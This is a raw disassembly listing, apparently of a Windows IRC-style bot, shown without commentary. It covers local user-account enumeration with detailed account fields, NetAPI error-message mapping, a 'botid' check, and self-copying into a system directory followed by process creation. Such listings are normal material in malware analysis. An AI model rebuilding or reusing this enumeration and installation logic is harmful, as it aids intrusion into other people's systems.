loc_40DDA7:				; CODE XREF: sub_40DCE6+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_40DD90
		xor	esi, esi


loc_40DDE6:				; CODE XREF: sub_40DCE6+A2j
		push	[ebp+var_4]
		call	dword_43AE28


loc_40DDEF:				; CODE XREF: sub_40DCE6+9Aj
		cmp	ebx, 0EAh
		jz	loc_40DD1F
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_40DCE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DE07	proc near		; CODE XREF: sub_40EE72:loc_411047p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_40DEAC
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_40DE49
		dec	eax
		jz	short loc_40DE3E
		dec	eax
		jnz	short loc_40DE64
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_40DF4E
		add	esp, 14h
		jmp	short loc_40DE60
; ---------------------------------------------------------------------------


loc_40DE3E:				; CODE XREF: sub_40DE07+1Dj
		push	ebx
		push	edi
		call	sub_40DF2D
		pop	ecx
		pop	ecx
		jmp	short loc_40DE60
; ---------------------------------------------------------------------------


loc_40DE49:				; CODE XREF: sub_40DE07+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_40DE5D
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_40DED3
		add	esp, 0Ch
		jmp	short loc_40DE60
; ---------------------------------------------------------------------------


loc_40DE5D:				; CODE XREF: sub_40DE07+45j
		push	57h
		pop	eax


loc_40DE60:				; CODE XREF: sub_40DE07+35j
					; sub_40DE07+40j ...
		cmp	eax, edi
		jnz	short loc_40DE84


loc_40DE64:				; CODE XREF: sub_40DE07+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_43F668
		push	off_42E7A4[eax*4]
		push	offset dword_42EFD8
		push	esi
		call	sub_4172B0
		add	esp, 10h
		jmp	short loc_40DECC
; ---------------------------------------------------------------------------


loc_40DE84:				; CODE XREF: sub_40DE07+5Bj
		push	eax
		call	sub_40E4B7
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_43F668
		push	off_42E7A0[eax*4]
		push	offset dword_42EF9C
		push	esi
		call	sub_4172B0
		add	esp, 14h
		jmp	short loc_40DECC
; ---------------------------------------------------------------------------


loc_40DEAC:				; CODE XREF: sub_40DE07+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_43F668
		lea	eax, [eax+eax*2]
		push	off_42E7A0[eax*4]
		push	offset dword_42EF64
		push	esi
		call	sub_4172B0
		add	esp, 0Ch


loc_40DECC:				; CODE XREF: sub_40DE07+7Bj
					; sub_40DE07+A3j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40DE07	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DED3	proc near		; CODE XREF: sub_40DE07+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_40DC82
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_40DC82
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_40DC82
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_43AC7C
		pop	edi
		leave
		retn
sub_40DED3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DF2D	proc near		; CODE XREF: sub_40DE07+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_40DC82
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_40DC82
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_43AC6C
		pop	esi
		retn
sub_40DF2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DF4E	proc near		; CODE XREF: sub_40DE07+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_40DC82
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_40DC82
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_43ADF0
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_40E2F6
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_40E331
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_4172B0
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_40E06D
		dec	eax
		jz	short loc_40E066
		dec	eax
		jz	short loc_40E05F
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_40E072
; ---------------------------------------------------------------------------


loc_40E05F:				; CODE XREF: sub_40DF4E+108j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_40E072
; ---------------------------------------------------------------------------


loc_40E066:				; CODE XREF: sub_40DF4E+105j
		mov	eax, offset aUser_0 ; "User"
		jmp	short loc_40E072
; ---------------------------------------------------------------------------


loc_40E06D:				; CODE XREF: sub_40DF4E+102j
		mov	eax, offset aGuest ; "Guest"


loc_40E072:				; CODE XREF: sub_40DF4E+10Fj
					; sub_40DF4E+116j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_4172B0
		push	1
		push	esi
		lea	eax, [ebp+var_204]
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_40E322
; ---------------------------------------------------------------------------


loc_40E2F6:				; CODE XREF: sub_40DF4E+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset dword_42F008
		push	eax
		call	sub_4172B0
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40D679
		add	esp, 20h


loc_40E322:				; CODE XREF: sub_40DF4E+3A6j
		cmp	[ebp+var_4], 0
		jz	short loc_40E331
		push	[ebp+var_4]
		call	dword_43AE28


loc_40E331:				; CODE XREF: sub_40DF4E+40j
					; sub_40DF4E+3D8j
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_40DF4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E337	proc near		; CODE XREF: sub_40EE72+21F2p

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_40DC82
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 18h


loc_40E376:				; CODE XREF: sub_40E337+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_43AD00
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_40E3D7
		cmp	eax, 0EAh
		jz	short loc_40E3D7
		push	eax
		push	eax
		call	sub_40E4B7
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset dword_42F218
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 24h
		jmp	short loc_40E452
; ---------------------------------------------------------------------------


loc_40E3D7:				; CODE XREF: sub_40E337+62j
					; sub_40E337+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_40E465
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_40E452


loc_40E3E9:				; CODE XREF: sub_40E337+EDj
		cmp	edi, esi
		jz	short loc_40E428
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_4	; "  %S"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_40E3E9
		jmp	short loc_40E452
; ---------------------------------------------------------------------------


loc_40E428:				; CODE XREF: sub_40E337+B4j
		lea	eax, [ebp+var_218]
		push	offset dword_42F1D4
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 1Ch


loc_40E452:				; CODE XREF: sub_40E337+9Ej
					; sub_40E337+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_40E465
		push	edi
		call	dword_43AE28
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_40E465:				; CODE XREF: sub_40E337+A5j
					; sub_40E337+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_40E376
		cmp	edi, esi
		jz	short loc_40E47D
		push	edi
		call	dword_43AE28


loc_40E47D:				; CODE XREF: sub_40E337+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_40E337	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E4B7	proc near		; CODE XREF: sub_40DAF0+41p
					; sub_40DCE6+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_40E569
		jz	loc_40E562
		cmp	eax, 7Bh
		ja	short loc_40E52E
		jz	short loc_40E524
		cmp	eax, 5
		jz	short loc_40E51A
		cmp	eax, 8
		jz	short loc_40E510
		cmp	eax, 32h
		jz	short loc_40E506
		cmp	eax, 35h
		jz	short loc_40E4FC
		cmp	eax, 57h
		jnz	loc_40E5B8
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E4FC:				; CODE XREF: sub_40E4B7+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E506:				; CODE XREF: sub_40E4B7+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E510:				; CODE XREF: sub_40E4B7+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E51A:				; CODE XREF: sub_40E4B7+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E524:				; CODE XREF: sub_40E4B7+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E52E:				; CODE XREF: sub_40E4B7+1Aj
		sub	eax, 7Ch
		jz	short loc_40E55B
		sub	eax, 7C8h
		jz	short loc_40E554
		dec	eax
		jz	short loc_40E54A
		dec	eax
		jnz	short loc_40E5B8
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E54A:				; CODE XREF: sub_40E4B7+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E554:				; CODE XREF: sub_40E4B7+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E55B:				; CODE XREF: sub_40E4B7+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E562:				; CODE XREF: sub_40E4B7+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E569:				; CODE XREF: sub_40E4B7+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_40E5A2
		jz	short loc_40E59B
		sub	eax, 8ADh
		jz	short loc_40E5CD
		dec	eax
		dec	eax
		jz	short loc_40E594
		dec	eax
		jz	short loc_40E58D
		dec	eax
		dec	eax
		jnz	short loc_40E5B8
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E58D:				; CODE XREF: sub_40E4B7+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E594:				; CODE XREF: sub_40E4B7+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E59B:				; CODE XREF: sub_40E4B7+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E5A2:				; CODE XREF: sub_40E4B7+B9j
		sub	eax, 8CAh
		jz	short loc_40E5D4
		sub	eax, 17h
		jz	short loc_40E5CD
		sub	eax, 25h
		jz	short loc_40E5C6
		sub	eax, 29h
		jz	short loc_40E5BF


loc_40E5B8:				; CODE XREF: sub_40E4B7+35j
					; sub_40E4B7+87j ...
		push	offset aAnUnknownError ; "An unknown error occurred."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E5BF:				; CODE XREF: sub_40E4B7+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E5C6:				; CODE XREF: sub_40E4B7+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E5CD:				; CODE XREF: sub_40E4B7+C2j
					; sub_40E4B7+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E5D4:				; CODE XREF: sub_40E4B7+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_40E5D9:				; CODE XREF: sub_40E4B7+40j
					; sub_40E4B7+4Aj ...
		push	offset dword_43F408
		call	sub_4172B0
		pop	ecx
		mov	eax, offset dword_43F408
		pop	ecx
		retn
sub_40E4B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E5EB	proc near		; CODE XREF: sub_40EE72+2231p

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_4199B9
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		nop
		call	near ptr 27E0000h
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_4199B9
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41999C
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_43ADA8
		test	eax, eax
		jnz	short loc_40E67B
		mov	esi, offset dword_43F204
		push	offset dword_42F568
		push	esi
		call	sub_4172B0
		pop	ecx
		pop	ecx
		jmp	short loc_40E6A4
; ---------------------------------------------------------------------------


loc_40E67B:				; CODE XREF: sub_40E5EB+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_40E4B7
		pop	ecx
		mov	esi, offset dword_43F204
		push	eax
		push	offset dword_42F530
		push	esi
		call	sub_4172B0
		add	esp, 14h


loc_40E6A4:				; CODE XREF: sub_40E5EB+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40E5EB	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp-0Ch], ebx
		mov	dword ptr [ebp-8], offset sub_40D3A5
		push	dword ptr [ebp-8]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, dword_424058
		call	esi
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_4CD5F0, eax
		call	esi
		push	eax
		call	sub_417302
		pop	ecx
		call	sub_40981F
		push	2
		call	dword_43AE44
		push	7530h
		push	offset aBotid	; "botid"
		push	ebx
		push	ebx
		nop
		call	near ptr 27F038Dh
		push	eax
		nop
		call	near ptr 2670A57h
		cmp	eax, 102h
		jnz	short loc_40E726
		push	1
		nop
		call	near ptr 77E75CB5h


loc_40E726:				; CODE XREF: ___:0040E71Cj
		lea	eax, [ebp-884h]
		push	eax
		push	202h
		call	dword_43AD10
		cmp	eax, ebx
		mov	[ebp-8], eax
		jnz	loc_40EB89
		cmp	byte ptr [ebp-884h], 2
		jnz	loc_40EB83
		xor	eax, eax
		mov	al, [ebp-883h]
		cmp	al, 2
		jnz	loc_40EB83
		mov	esi, 104h
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		nop
		call	near ptr 2640000h
		lea	eax, [ebp-2ECh]
		push	esi
		push	eax
		push	ebx
		call	near ptr 2740D6Eh
		nop
		push	eax
		call	near ptr 2680000h
		nop
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	ebx
		lea	eax, [ebp-2ECh]
		push	ebx
		push	eax
		call	sub_4192B8
		add	esp, 14h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	offset aSS_2	; "%s%s"
		lea	eax, [ebp-5F4h]
		push	esi
		push	eax
		call	sub_41782A
		lea	eax, [ebp-3F0h]
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		call	sub_417880
		add	esp, 1Ch
		test	eax, eax
		jnz	loc_40E98C
		cmp	dword_42F5BC, ebx
		mov	esi, offset byte_42F678
		jz	short loc_40E824
		push	esi
		xor	edi, edi
		call	sub_417AB0
		sub	eax, 4
		pop	ecx
		jz	short loc_40E824


loc_40E801:				; CODE XREF: ___:0040E822j
		call	sub_41730C
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_42F678[edi], dl
		inc	edi
		call	sub_417AB0
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_40E801


loc_40E824:				; CODE XREF: ___:0040E7F1j
					; ___:0040E7FFj
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		lea	eax, [ebp-1E8h]
		push	offset aSS_3	; "%s\\%s"
		push	eax
		call	sub_4172B0
		add	esp, 10h
		lea	eax, [ebp-1E8h]
		push	eax
		nop
		call	near ptr 26B0365h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E864
		lea	eax, [ebp-1E8h]
		push	80h
		push	eax
		nop
		call	near ptr 279118Dh


loc_40E864:				; CODE XREF: ___:0040E850j
		mov	esi, dword_424160
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		xor	edi, edi
		push	eax


loc_40E87B:				; CODE XREF: ___:0040E8B2j
		call	esi
		test	eax, eax
		jnz	short loc_40E8B4
		call	near ptr 2670ADCh
		nop
		cmp	edi, ebx
		jnz	short loc_40E8B4
		cmp	eax, 20h
		jz	short loc_40E895
		cmp	eax, 5
		jnz	short loc_40E8B4


loc_40E895:				; CODE XREF: ___:0040E88Ej
		push	1
		pop	edi
		push	3A98h
		call	near ptr 2630F90h
		nop
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		jmp	short loc_40E87B
; ---------------------------------------------------------------------------


loc_40E8B4:				; CODE XREF: ___:0040E87Fj
					; ___:0040E889j ...
		lea	eax, [ebp-1E8h]
		push	eax
		call	sub_40AB7C
		pop	ecx
		lea	eax, [ebp-1E8h]
		push	7
		push	eax
		nop
		call	near ptr 279118Dh
		push	10h
		lea	eax, [ebp-1Ch]
		push	ebx
		push	eax
		call	sub_417330
		push	44h
		lea	eax, [ebp-64h]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 18h
		mov	[ebp-64h], esi
		mov	dword ptr [ebp-58h], offset byte_436EDC
		mov	[ebp-34h], bx
		push	1
		pop	esi
		mov	[ebp-38h], esi
		nop
		call	near ptr 27E0DAEh
		push	eax
		push	esi
		push	100000h
		nop
		call	near ptr 2740795h
		lea	ecx, [ebp-2ECh]
		push	ecx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		lea	eax, [ebp-988h]
		push	offset dword_42F7F0
		push	eax
		call	sub_4172B0
		add	esp, 14h
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-64h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
